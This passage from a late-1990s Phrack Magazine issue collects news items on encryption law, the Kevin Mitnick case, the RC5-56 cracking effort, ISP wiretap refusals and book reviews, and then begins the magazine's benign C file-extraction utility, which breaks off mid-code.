Patel barred the government from "threatening, detaining, prosecuting, discouraging, or otherwise interfering with" anyone "who uses, discusses, or publishes or seeks to use, discuss or publish plaintiff's encryption programs and related materials." Daniel Bernstein, now a math professor at the University of Illinois, filed the lawsuit with the help of the Electronic Frontier Foundation.

Patel dismissed the State, Energy, and Justice departments and CIA as defendants. President Clinton transferred jurisdiction over encryption exports from the State to the Commerce department on December 30, 1996.

The Justice Department seems likely to appeal the ruling to the Ninth Circuit, which could rule on the case in the near future.

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: The Million Dollar Challenge

Source: unknown mail list

Ultimate Privacy, the e‑mail encryption program combining ease of use with unbreakability.

Ultimate Privacy is serious cryptography. On the Links page we have links to other Internet sites that discuss One‑Time Pad cryptography and why it is unbreakable when properly implemented.

Nevertheless, should you wish to try, the first person to be able to discern the original message within a year (following the simple requirements of the Challenge) will actually receive the million dollar prize as specified in the Rules page. The prize is backed by the full faith and credit of Crypto‑Logic Corporation and its insurors.

You might be interested in to know how the Challenge was done. We used a clean, non‑network‑connected computer. After installing Ultimate Privacy, one person alone entered the Challenge message and encrypted it. After making a copy of the encrypted message, we removed the hard disk from the computer and it was immediately transported to a vault for a year.

Therefore, the original message is not known by Crypto‑Logic Corporation staff (other than the first few characters for screening purposes), nor are there any clues to the original message on any media in our offices.

0x8>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: High Profile Detainee Seeks Legal Help

Source: fight‑censorship@vorlon.mit.edu

Author: unknown

Date: September 3, 1997

Mr. Kevin Mitnick has been detained in Federal custody without bail on computer "hacking" allegations for over thirty months. Having no financial resources, Mr. Mitnick has been appointed counsel from the Federal Indigent Defense Panel. As such, Mr. Mitnick's representation is limited; his attorney is not permitted to assist with civil actions, such as filing a Writ of Habeas Corpus.

For the past two years, Mr. Mitnick has attempted to assist in his own defense by conducting legal research in the inmate law library at the Metropolitan Detention Center (hereinafter "MDC") in Los Angeles, California. Mr. Mitnick's research includes reviewing court decisions for similar factual circumstances which have occurred in his case. MDC prison officials have been consistently hampering Mr. Mitnick's efforts by denying him reasonable access to law library materials. Earlier this year, Mr. Mitnick's lawyer submitted a formal request to Mr. Wayne Siefert, MDC Warden, seeking permission to allow his client access to the law library on the days set aside for inmates needing extra law library time. The Warden refused.

In August 1995, Mr. Mitnick filed an administrative remedy request with the Bureau of Prisons complaining that MDC policy in connection with inmate access to law library materials does not comply with Federal rules and regulations. Specifically, the Warden established a policy for MDC inmates that detracts from Bureau of Prison's policy codified in the Code of Federal Regulations.

Briefly, Federal law requires the Warden to grant additional law library time to an inmate who has an "imminent court deadline". The MDC's policy circumvents this law by erroneously interpreting the phrase "imminent court deadline" to include other factors, such as, whether an inmate exercises his right to assistance of counsel, or the type of imminent court deadline.

For example, MDC policy does not consider detention (bail), motion, status conference, or sentencing hearings as imminent court deadlines for represented inmates. MDC officials use this policy as a tool to subject inmates to arbitrary and capricious treatment. It appears MDC policy in connection with inmate legal activities is inconsistent with Federal law and thereby affects the substantial rights of detainees which involve substantial liberty interests.

In June 1997, Mr. Mitnick finally exhausted administrative remedies with the Bureau of Prisons. Mr. Mitnick's only avenue of vindication is to seek judicial review in a Court of Law. Mr. Mitnick wishes to file a Writ of Habeas Corpus challenging his conditions of detention, and a motion to compel Federal authorities to follow their own rules and regulations.

Mr. Mitnick is hoping to find someone with legal experience, such as an attorney or a law student willing to donate some time to this cause to insure fair treatment for everyone, and to allow detainees to effectively assist in their own defense without "Government" interference. Mr. Mitnick needs help drafting a Habeas Corpus petition with points and authorities to be submitted by him pro‑se. His objective is to be granted reasonable access to law library materials to assist in his own defense.

If you would like to help Kevin, please contact him at the following address:

Mr. Kevin Mitnick

Reg. No. 89950‑012

P.O. Box 1500

Los Angeles, CA 90053‑1500

0x9>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Kevin Mitnick Press Release

Source: Press Release

Author: Donald C. Randolph

Date: August 7, 1997

THE UNITED STATES V. KEVIN DAVID MITNICK

I. Proceedings to Date

With 25 counts of alleged federal computer and wire fraud violations still pending against him, the criminal prosecution of Kevin Mitnick is approaching its most crucial hour. The trial is anticipated to begin in January, 1998. In reaching this point, however, Kevin has already experienced years of legal battles over alleged violations of the conditions of his supervised release and for possession of unauthorized cellular access codes.

A. Settling the "Fugitive" Question

The seemingly unexceptional charges relating to supervised release violations resulted in months of litigation when the government attempted to tack on additional allegations for conduct occurring nearly three years after the scheduled expiration of Kevin's term of supervised release in December, 1992. The government claimed that Kevin had become a fugitive prior to the expiration of his term, thereby "tolling" the term and allowing for the inclusion of additional charges. After months of increasingly bold assertions concerning Kevin's "fugitive" status, evidentiary hearings were held in which the government was forced to concede that its original position in this matter was unsupported by the facts.

B. Sentencing

In June of this year Kevin was sentenced for certain admitted violations of his supervised release and for possession of unauthorized access codes. The court imposed a sentence of 22 months instead of the 32 months sought by the government. Since Kevin has been in custody since his arrest in February 1995, this sentence has been satisfied. We are currently preparing a request for release on bail.

During this stage of the proceedings, the government sought to impose restrictions on Kevin's access to computers which were so severe as to virtually prohibit him from functioning altogether in today's society. The proposed restrictions sought to completely prohibit Kevin from "using or possessing" all computer hardware equipment, software programs, and wireless communications equipment. After arguments that such restrictions unduly burdened Kevin's freedom to associate with the on‑line computer community and were not reasonably necessary to ensure the protection of the public, the court modified its restrictions by allowing for computer access with the consent of the Probation Office. Nonetheless, the defense believes that the severe restrictions imposed upon Mr. Mitnick are unwarranted in this case and is, therefore, pursuing an appeal to the Ninth Circuit.

II. The Government Seeks to make an Example of Mr. Mitnick

One of the strongest motivating factors for the government in the prosecution of Kevin Mitnick is a desire to send a message to other would‑be "hackers". The government has hyped this prosecution by exaggerating the value of loss in the case, seeking unreasonably stiff sentences, and by painting a portrait of Kevin which conjures the likeness of a cyber‑boogie man.

There are a number of objectives prompting the government's tactics in this respect. First, by dramatically exaggerating the amount of loss at issue in the case (the government arbitrarily claims losses exceed some $80 million) the government can seek a longer sentence and create a high‑profile image for the prosecution. Second, through a long sentence for Kevin, the government hopes to encourage more guilty pleas in future cases against other hackers. For example, a prosecutor offering a moderate sentence in exchange for a guilty plea would be able to use Kevin Mitnick's sentence as an example of what "could happen" if the accused decides to go to trial. Third, by striking fear into the hearts of the public over the dangers of computer hackers, the government hopes to divert scrutiny away from its own game‑plan regarding the control and regulation of the Internet and other telecommunications systems.

III. Crime of Curiosity

The greatest injustice in the prosecution of Kevin Mitnick is revealed when one examines the actual harm to society (or lack thereof) which resulted from Kevin's actions. To the extent that Kevin is a "hacker" he must be considered a purist. The simple truth is that Kevin never sought monetary gain from his hacking, though it could have proven extremely profitable. Nor did he hack with the malicious intent to damage or destroy other people's property. Rather, Kevin pursued his hacking as a means of satisfying his intellectual curiosity and applying Yankee ingenuity. These attributes are more frequently promoted rather than punished by society.

The ongoing case of Kevin Mitnick is gaining increased attention as the various issues and competing interests are played out in the arena of the courtroom. Exactly who Kevin Mitnick is and what he represents, however, is ultimately subject to personal interpretation and to the legacy which will be left by "The United States v. Kevin David Mitnick".

0xa>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: SAFE crypto bill cracked again

Source:

Author: By Alex Lash and Dan Goodin

Date: September 12, 1997, 8:40 a.m. PT

For the second time in a week, a House committee has made significant changes to the Security and Freedom through Encryption (SAFE) Act to mandate that domestic encryption products give law enforcement agencies access to users' messages.

The changes by the Intelligence Committee, which were passed as a "substitute" to SAFE, turn the legislation on its head. The amendment follows similar changes two days ago in the House National Security Committee.

Initially drafted as a way to loosen U.S. export controls on encryption, legislators have instead "marked up" the bill, or amended it at the committee level, to reflect the wishes of the Federal Bureau of Investigation and other law enforcement agencies that want "wiretap" access to all encrypted email and other digital files.

Both the Intelligence and the National Security committees tend to favor export controls, because they view encryption as a threat to information‑gathering activities by U.S. military and law enforcement officials.

The Intelligence Committee cited those concerns today when announcing the substitute legislation. "Terrorist groups...drug cartels...and those who proliferate in deadly chemical and biological weapons are all formidable opponents of peace and security in the global society," said committee chairman Porter Goss (R‑Florida) in a statement. "These bad actors must know that the U.S. law enforcement and national security agencies, working under proper oversight, will have the tools to frustrate illegal and deadly activity and bring international criminals to justice."

Opponents of government attempts to regulate encryption, including a leading panel of cryptographers, have argued that built‑in access to encrypted files would in fact threaten national and individual security and be prohibitively expensive to implement.

The amended legislation calls for all imported or U.S.‑made encryption products that are manufactured or distributed after January 31, 2000, to provide "immediate access" to the decrypted text if the law officials present a court order. "Law enforcement will specifically be required to obtain a separate court order to have the data, including communications, decrypted."

A markup of the same bill in the House Commerce Committee was postponed today for two weeks. It will be the fifth such committee vote on the bill since its introduction.

The Intelligence and National Security amendments this week are by no means a defeat of the bill. Instead, they would have to be reconciled with versions of the bill already approved by the House Judiciary and International Relations committees. That reconciliation most likely would have to happen on the House floor. The rapidly fragmenting bill still has several layers of procedure to wend through before it reaches a potential floor vote, but people on both sides of the encryption debate openly question if the bill‑‑in any form‑‑will make it that far this year.

The legislation has 252 cosponsors, more than half of the House membership.

0xb>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: RC5 Cracked ‑ The unknown message is...

Source:

Author: David McNett <nugget@slacker.com>[:]

Date: Mon, 27 Oct 1997 08:43:38 ‑0500

‑‑‑‑‑BEGIN PGP SIGNED MESSAGE‑‑‑‑‑

Hash: SHA1

It is a great privilege and we are excited to announce that at 13:25 GMT on 19‑Oct‑1997, we found the correct solution for RSA Labs' RC532/12/7 56‑bit secret‑key challenge. Confirmed by RSA Labs, the key 0x532B744CC20999 presented us with the plaintext message for which we have been searching these past 250 days.

The unknown message is: It's time to move to a longer key length

In undeniably the largest distributed‑computing effort ever, the Bovine RC5 Cooperative (http://www.distributed.net/), under the

leadership of distributed.net, managed to evaluate 47% of the keyspace, or 34 quadrillion keys, before finding the winning key. At the close of this contest our 4000 active teams were processing over 7 billion keys each second at an aggregate computing power equivalent to more than 26 thousand Pentium 200's or over 11 thousand PowerPC 604e/200's. Over the course of the project, we received block submissions from over 500 thousand unique IP addresses.

The winning key was found by Peter Stuer <peter@dinf.vub.ac.be> with an Intel Pentium Pro 200 running Windows NT Workstation, working for the STARLab Bovine Team coordinated by Jo Hermans <Jo.Hermans@vub.ac.be> and centered in the Computer Science Department (DINF) of the Vrije Universiteit (VUB) in Brussels, Belgium. (http://dinf.vub.ac.be/bovine.html/). Jo's only comments

were that "$1000 will buy a lot of beer" and that he wished that the solution had been found by a Macintosh, the platform that represented the largest portion of his team's cracking power. Congratulations Peter and Jo!

Of the US$10000 prize from RSA Labs, they will receive US$1000 and plan to host an unforgettable party in celebration of our collective victory. If you're anywhere near Brussels, you might want to find out when the party will be held. US$8000, of course, is being donated to Project Gutenberg (http://www.promo.net/pg/) to assist

them in their continuing efforts in converting literature into electronic format for the public use. The remaining US$1000 is being retained by distributed.net to assist in funding future projects.

Equally important are the thanks, accolades, and congratulations due to all who participated and contributed to the Bovine RC5‑56 Effort! The thousands of teams and tens of thousands of individuals who have diligently tested key after key are the reason we are so successful.

The thrill of finding the key more than compensates for the sleep, food, and free time that we've sacrificed!

Special thanks go to all the coders and developers, especially Tim Charron, who has graciously given his time and expertise since the earliest days of the Bovine effort. Thanks to all the coordinators and keyserver operators: Chris Chiapusio, Paul Chvostek, Peter Denitto, Peter Doubt, Mishari Muqbil, Steve Sether, and Chris Yarnell. Thanks to Andrew Meggs, Roderick Mann, and Kevyn Shortell for showing us the true power of the Macintosh and the strength of its users. We'd also like to thank Dave Avery for attempting to bridge the gap between Bovine and the other RC5 efforts.

Once again, a heartfelt clap on the back goes out to all of us who have run the client. Celebrations are in order. I'd like to invite any and all to join us on the EFNet IRC network channel #rc5 for celebrations as we regroup and set our sights on the next task. Now that we've proven the limitations of a 56‑bit key length, let's go one further and demonstrate the power of distributed computing! We are, all of us, the future of computing. Join the excitement as the world is forced to take notice of the power we've harnessed.

Moo and a good hearty laugh.

Adam L. Beberg ‑ Client design and overall visionary

Jeff Lawson ‑ keymaster/server network design and morale booster David McNett ‑ stats development and general busybody

0xc>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Kashpureff in custody.

Source: Marc Hurst <mhurst@fastlane.ca>

Author: Marc Hurst <mhurst@fastlane.ca>

Date: Fri, 31 Oct 1997 10:40:20 ‑0500 (EST)

Eugene Kashpureff, known for his redirect of the NSI web page, was apprehended this morning in Toronto by undercover RCMP detectives.

Pending a deportation hearing, he will be returned to New York to face Felony Wire Fraud charges that were sworn out against him after he had settled out of court with NSI in regard to their civil suit.

Early in the week Eugene relinquished control of the Alternic to an adhoc industry group and that group will be making an announcement in the next few days.

A this time I have no further information to volunteer.

Sincerely

Marc Hurst

0xd>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: XS4ALL refuses Internet tap

Source: Press Release

Author: Maurice Wessling

Date: November 13th 1997, Amsterdam, Netherlands.

XS4ALL Internet is refusing to comply with an instruction from the Dutch Ministry of Justice that it should tap the Internet traffic of one of its users as part of an investigation. XS4ALL has informed the Ministry that in its view the instruction lacks any adequate legal basis. The company's refusal makes it liable for a penalty but XS4ALL is hoping for a trial case to be brought in the near future so that a court can make a pronouncement.

On Friday October 31st, a detective and a computer expert from the Forensic Science Laboratory issued the instruction to XS4ALL. The Ministry of Justice wants XS4ALL to tap for a month all Internet traffic to and from this user and then supply the information to the police. This covers e‑mail, the World Wide Web, news groups, IRC and all Internet services that this person uses. XS4ALL would have to make all the technical arrangements itself.

As far as we are aware, there is no precedent in the Netherlands for the Ministry of Justice issuing such a far‑reaching instruction to an Internet provider. The detectives involved also acknowledge as much. Considering that a national meeting of Examining judges convened to discuss the instruction, one may appreciate just how unprecedented this situation is. Hitherto, instructions have mainly been confined to requests for personal information on the basis of an e‑mail address.

XS4ALL feels obliged in principle to protect its users and their privacy. Furthermore, XS4ALL has a commercial interest, since it must not run the risk of action being brought by users under Civil Law on account of unlawful deeds. This could happen with such an intervention by the provider which is not based in law. Finally, it is important from the social point of view that means of investigation have adequate statutory basis. To comply with the instruction could act as an undesirable precedent which could have a major impact on the privacy of all Internet users in the Netherlands.

XS4ALL has no view on the nature of the investigation itself or the alleged crimes. It is happy to leave the court to decide that. Nor will XS4ALL make any comment on the content of the study or the region in which this is occurring for it is not its intention that the investigation should founder. XS4ALL has proposed in vain to the examining judge that the instruction be recast in terms which ensures the legal objections are catered for.

The Ministry of Justice based its claim on Article 125i of the Penal Code. This article was introduced in 1993 as part of the Computer Crime Act. It gives the examining judge the option of advising third parties during statutory preliminary investigations to provide data stored in computers in the interest of establishing the truth. According to legal history, it was never the intention to apply this provision to an instruction focused on the future. Legislators are still working to fill this gap in the arsenal of detection methods, by analogy with the Ministry of Justice tapping phone lines (125g of the Penal Code). The Dutch Constitution and the European Convention on the Protection of Human Rights demand a precise statutory basis for violating basic rights such as privacy and confidentiality of correspondence. The Ministry clearly does not wish to wait for this and is now attempting to use Article 125i of the Penal Code, which is not intended for this purpose, to compel providers themselves to start tapping suspect users. The Ministry of Justice is taking the risk of the prosecution of X, in the context of which the instruction was issued to XS4ALL, running aground on account of using illegal detection methods. Here, again, XS4ALL does not wish to be liable in any respect in this matter.

For information please contact:

XS4ALL

Maurice Wessling

email: maurice@xs4all.nl

http://www.xs4all.nl/

0xf>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: The FCC Wants V‑Chip in PCs too

Source: Cyber‑Liberties Update

Author:

Date: Monday, November 3, 1997

Mandating that all new televisions have built‑in censorship technology is not the only thing that the Federal Communications Commission (FCC) is seeking, said ACLU Associate Director Barry Steinhardt, it is also looking to require that the same technology be added to all new personal computers.

Last year, culminating a protracted campaign against TV violence, Congress passed the Telecommunications Act of 1996, a law requiring that new televisions be equipped with the so‑called V‑chip. The V‑chip is a computerized chip capable of detecting program ratings and blocking adversely rated programs from view.

Now, the FCC has announced that it is soliciting public comments through November 24, on the idea of placing V‑chips inside personal computers since some are capable of delivering television programming.

^SAt the time the V‑chip was being considered we warned that with the growing convergence between traditional television (broadcast and cable) and the Internet, it was only a matter of time before the government would move to require that the V‑chip be placed in PC's. Now that has happened,^T Steinhardt said.

^SHardwiring censorship technology into the PC is part of the headlong rush to

a scheme of rating and blocking Internet content that will turn the Internet into a bland homogenized medium in which only large corporate interest will have truly free speech,^T Steinhardt said.

The ACLU has criticized the mandatory requirement of V‑chip arguing that it is a form of censorship clearly forbidden by the First Amendment.

^SAlthough its supporters claim the V‑chip gives parents control over their

children's viewing habits, in fact it will function as a governmental usurpation of parental control,^T said Solange Bitol, Legislative Counsel for the ACLU^Rs Washington National Office.

^SUnder the legislation, it is the government (either directly or by coercing private industry), and not the parents, that will determine how programs will be rated. If a parent activates the V‑chip, all programs with a "violent" rating will be blocked. What kind of violence will be censored? Football games? War movies? News reports?^T she added.

The ACLU is opposed to mandatory addition or use of censoring technologies and we will be filing comments with the FCC later this month. We believe people are smart enough to turn off their television sets or PCs on their own if they don^Rt like what they see.

Tell the FCC what you think. Submit comments to them online at <http://www.fcc.gov/vchip/>, and send us a copy as well so that we make

sure your voice is heard. E‑mail them to CSehgal@aclu.org.

=‑=

To subscribe to the ACLU Cyber‑Liberties Update, send a message to majordomo@aclu.org with "subscribe Cyber‑Liberties" in the body of your message. To terminate your subscription, send a message to majordomo@aclu.org with "unsubscribe Cyber‑Liberties" in the body.

1x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Book Title: Underground

Poster: George Smith via Crypt Newsletter

Date: 27 Aug 97 00:36:12 EDT

From: "George Smith [CRYPTN]" <70743.1711@CompuServe.COM> Subject: File 5‑‑An "Underground" Book on Australian Hackers Burns the Mind

Source ‑ CRYPT NEWSLETTER 44

AN "UNDERGROUND" BOOK ON AUSTRALIAN HACKERS BURNS THE MIND

Crypt News reads so many bad books, reports and news pieces on hacking and the computing underground that it's a real pleasure to find a writer who brings genuine perception to the subject. Suelette Dreyfus is such a writer, and "Underground," published by the Australian imprint, Mandarin, is such a book.

The hacker stereotypes perpetrated by the mainstream media include descriptions which barely even fit any class of real homo sapiens Crypt News has met. The constant regurgitation of idiot slogans ‑‑ "Information wants to be free," "Hackers are just people who want to find out how things work" ‑‑ insults the intelligence. After all, have you ever met anyone who wouldn't want their access to information to be free or who didn't admit to some curiosity about how the world works? No ‑‑ of course not. Dreyfus' "Underground" is utterly devoid of this manner of patronizing garbage and the reader is the better for it.

"Underground" is, however, quite a tale of human frailty. It's strength comes not from the feats of hacking it portrays ‑‑and there are plenty of them ‑‑ but in the emotional and physical cost to the players. It's painful to read about people like Anthrax, an Australian 17‑year old trapped in a dysfunctional family. Anthrax's father is abusive and racist, so the son ‑‑paradoxically ‑‑ winds up being a little to much like him for comfort, delighting in victimizing complete strangers with mean jokes and absorbing the anti‑Semitic tracts of Louis Farrakhan. For no discernible reason, the hacker repetitively baits an old man living in the United States with harassing telephone calls. Anthrax spends months of his time engaged in completely pointless, obsessed hacking of a sensitive U.S. military system. Inevitably, Anthrax becomes entangled in the Australian courts and his life collapses.

Equally harrowing is the story of Electron whose hacking pales in comparison to his duel with mental illness. Crypt News challenges the readers of "Underground" not to squirm at the image of Electron, his face distorted into a fright mask of rolling eyes and open mouth due to tardive dyskinesia, a side‑effect of being put on anti‑schizophrenic medication.

Dreyfus expends a great deal of effort exploring what happens when obsession becomes the only driving force behind her subjects' hacking. In some instances, "Underground's" characters degenerate into mental illness, others try to find solace in drugs. This is not a book in which the hackers declaim at any great length upon contorted philosophies in which the hacker positions himself as someone whose function is a betterment to society, a lubricant of information flow, or a noble scourge of bureaucrats and tyrants. Mostly, they hack because they're good at it, it affords a measure of recognition and respect ‑‑ and it develops a grip upon them which goes beyond anything definable by words.

Since this is the case, "Underground" won't be popular with the goon squad contingent of the police corp and computer security industry. Dreyfus' subjects aren't the kind that come neatly packaged in the "throw‑'em‑in‑jail‑for‑a‑few‑years‑while‑awaiting‑trial" phenomenon that's associated with America's Kevin Mitnick‑types. However, the state of these hackers ‑‑ sometimes destitute, unemployable or in therapy ‑‑ at the end of their travails is seemingly quite sufficient punishment.

Some things, however, never change. Apparently, much of Australia's mainstream media is as dreadful at covering this type of story as America's. Throughout "Underground," Dreyfus includes clippings from Australian newspapers featuring fabrications and exaggeration that bare almost no relationship to reality. Indeed, in one prosecution conducted within the United Kingdom, the tabloid press whipped the populace into a blood frenzy by suggesting a hacker under trial could have affected the outcome of the Gulf War in his trips through U.S. computers.

Those inclined to seek the unvarnished truth will find "Underground" an excellent read. Before each chapter, Dreyfus presents a snippet of lyric chosen from the music of Midnight Oil. It's an elegant touch, but I'll suggest a lyric from another Australian band, a bit more obscure, to describe the spirit of "Underground." From Radio Birdman's second album: "Burned my eye, burned my mind, I couldn't believe it . . . "

+++++++++

["Underground: Tales of Hacking, Madness and Obsession on the Electronic Frontier" by Suelette Dreyfus with research by Julian Assange, Mandarin, 475 pp.]

Excerpts and ordering information for "Underground" can be found on the Web at http://www.underground‑book.com .

George Smith, Ph.D., edits the Crypt Newsletter from Pasadena, CA.

1x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Book Title: The Electronic Privacy Papers

: Documents on the Battle for Privacy in the Age of Surveillance by: Bruce Schneier + David Banisar

publisher: John Wiley 1997

other: 747 pages, index, US$59.99

_The Privacy Papers_ is not about electronic privacy in general: it covers only United States Federal politics, and only the areas of wiretapping and cryptography. The three topics covered are wiretapping and the Digital Telephony proposals, the Clipper Chip, and other controls on cryptography (such as export controls and software key escrow proposals).

The documents included fall into several categories. There are broad overviews of the issues, some of them written just for this volume. There are public pronouncements and documents from various government bodies: legislation, legal judgements, policy statements, and so forth. There are government documents obtained under Freedom of Information requests (some of them partially declassified documents complete with blacked out sections and scrawled marginal annotations), which tell the story of what happened behind the scenes. And there are newspaper editorials, opinion pieces, submissions to government enquiries, and policy statements from corporations and non‑government organisations, presenting the response from the public.

Some of the material included in _The Privacy Papers_ is available online, none of it is breaking news (the cut‑off for material appears to be mid‑to‑late 1996), and some of the government documents included are rather long‑winded (no surprise there). It is not intended to be a "current affairs" study, however; nor is it aimed at a popular audience. _The Privacy Papers_ will be a valuable reference sourcebook for anyone involved with recent government attempts to control the technology necessary for privacy ‑‑ for historians, activists, journalists, lobbyists, researchers, and maybe even politicians.

‑‑

%TThe Electronic Privacy Papers

%SDocuments on the Battle for Privacy in the Age of Surveillance %ABruce Schneier

%ADavid Banisar

%IJohn Wiley

%CNew York

%D1997

%Ohardcover, bibliography, index

%GISBN 0‑471‑12297‑1

%Pxvi,747pp

%Kcrime, politics, computing

1x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Book Title: "Computer Security and Privacy: An Information Sourcebook: Topics and Issues for the 21st Century"

by Mark W. Greenia

List: $29.95

Publisher: Lexikon Services

Win/Disk Edition

Binding: Software

Expected publication date: 1998

ISBN: 0944601154

[PWN: I haven't seen this one in stores, and no further information or reviews have been found.]

3x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CDT POLICY POST Volume 3, Number 12 August 11, 1997

(1) CIVIL LIBERTIES GROUPS ASK FCC TO BLOCK FBI ELECTRONIC SURVEILLANCE PROPOSAL

The Center for Democracy and Technology and the Electronic Frontier Foundation today filed a petition with the Federal Communications Commission to block the FBI from using the 1994 "Digital Telephony" law to expand government surveillance powers.

The law, officially known as the "Communications Assistance for Law Enforcement Act" (CALEA), was intended to preserve law enforcement wiretapping ability in the face of changes in communications technologies. In their filing, CDT and EFF argue that the FBI has tried to use CALEA to expand its surveillance capabilities by forcing telephone companies to install intrusive and expensive surveillance features that threaten privacy and violate the scope of the law.

3x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Anti‑Spam Bills in Congress

Source ‑ ACLU Cyber‑Liberties Update, Tuesday, September 2, 1997

Unsolicited e‑mail advertisement, or "spam," has few fans on the net. Court battles have been waged between service providers, such as AOL and Compuserve, and spam advertisers, including Cyber Promotions, over whether the thousands of messages sent to user e‑mails can be blocked. Congress and several state legislatures have also stepped into the debate and have introduced some bills fraught with First Amendment problems because they ban commercial speech altogether or are content specific.

[Laws against spam.. oh neat. So, how do they plan on enforcing it?]

3x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

JUSTICE DEPARTMENT CHARGES MICROSOFT WITH VIOLATING 1995 COURT ORDER

Asks Court to Impose $1 Million a Day Fine if Violation Continues

WASHINGTON, D.C. ‑‑ The Department of Justice asked a federal court today to hold Microsoft Corporation‑‑the world's dominant personal computer software company‑‑in civil contempt for violating terms of a 1995 court order barring it from imposing anticompetitive licensing terms on manufacturers of personal computers.

[PWN: Hey Bill.. nah nah nah, thptptptptptptp, nanny nanny boo boo]

3x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Small Minds Think Alike

Source ‑ : fight‑censorship@vorlon.mit.edu

CyberWire Dispatch Bulletin

Washington ‑‑In this boneyard of Washington, DC it doesn't take long for big dawgs and small alike to bark. A couple of small ones yipped it up today.

Rep. Marge (no relation to Homer) Roukema, R‑N.J. and Sen. Lauch (??) Faircloth, R‑N.C. introduced a bill to amend the Communications Act that would ban convicted sex offenders from using the Internet.

[PWN: Oh yeah.. that will be easy to enforce.]

3x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cyber Promotions tossed offline

Cyber Promotions tossed offline

By Janet Kornblum

September 19, 1997, 1:25 p.m. PT

Cyber Promotions, antispammers' enemy No. 1 on the Net, has once again been dumped by its access provider.

Backbone provider AGIS cut off Cyber Promotions Wednesday, and the company has been scrambling for another ISP since.

[PWN: Hey Samford.. ha ha ha, nanny nanny, thptptptptp.]

"Ping‑flood attacks observed originating from the West Coast into AGIS and directed to the Washington and Philadelphia routers severely degraded AGIS network performance to [an] unacceptable level...AGIS had no alternative but to shut off services to Cyber Promotions," reads a statement that Wallace put on his page. He alleged that the statement came from an AGIS engineer.

[PWN: If a ping flood took them down this time...]

‑‑‑‑[ EOF

extract.c

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 20 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Phrack Magzine Extraction Utility

‑‑‑‑‑‑‑‑[ Phrack Staff

Added to the list of extraction variants this time is a version in AWK, and a version in sh. Also, the C version has ben spruced up to accept file name globs. Keep `em coming...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑CUT‑HERE‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> PEU/extract2.c

/* extract.c by Phrack Staff and sirsyko

*

* (c) Phrack Magazine, 1997

* 1.8.98 rewritten by route:

* ‑ aesthetics

* ‑ now accepts file globs

* todo:

* ‑ more info in tag header (file mode, checksum)

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory strcuture. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* gcc ‑o extract extract.c

*

* ./extract file1 file2 file3 ...

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <string.h>

#include <dirent.h>

#define BEGIN_TAG "<++> "

#define END_TAG "<‑‑>"

#define BT_SIZE strlen(BEGIN_TAG)

#define ET_SIZE strlen(END_TAG)

struct f_name

{

u_char name[256];

struct f_name *next;

};

int

main(int argc, char **argv)

{

u_char b[256], *bp, *fn;

int i, j = 0;

FILE *in_p, *out_p = NULL;

struct f_name *fn_p = NULL, *head = NULL;

if (argc < 2)

{

printf("Usage: %s file1 file2 ... filen\n", argv[0]); exit(0);

}

/*

* Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */

for (i = 1; (fn = argv[i++]); )

{

if (!head)

{

if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(1);

}

strncpy(head‑>name, fn, sizeof(head‑>name)); head‑>next = NULL;

fn_p = head;

}

else

{

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(1);

}

fn_p = fn_p‑>next;

strncpy(fn_p‑>name, fn, sizeof(fn_p‑>name)); fn_p‑>next = NULL;

}

}

/*

* Sentry node.

*/

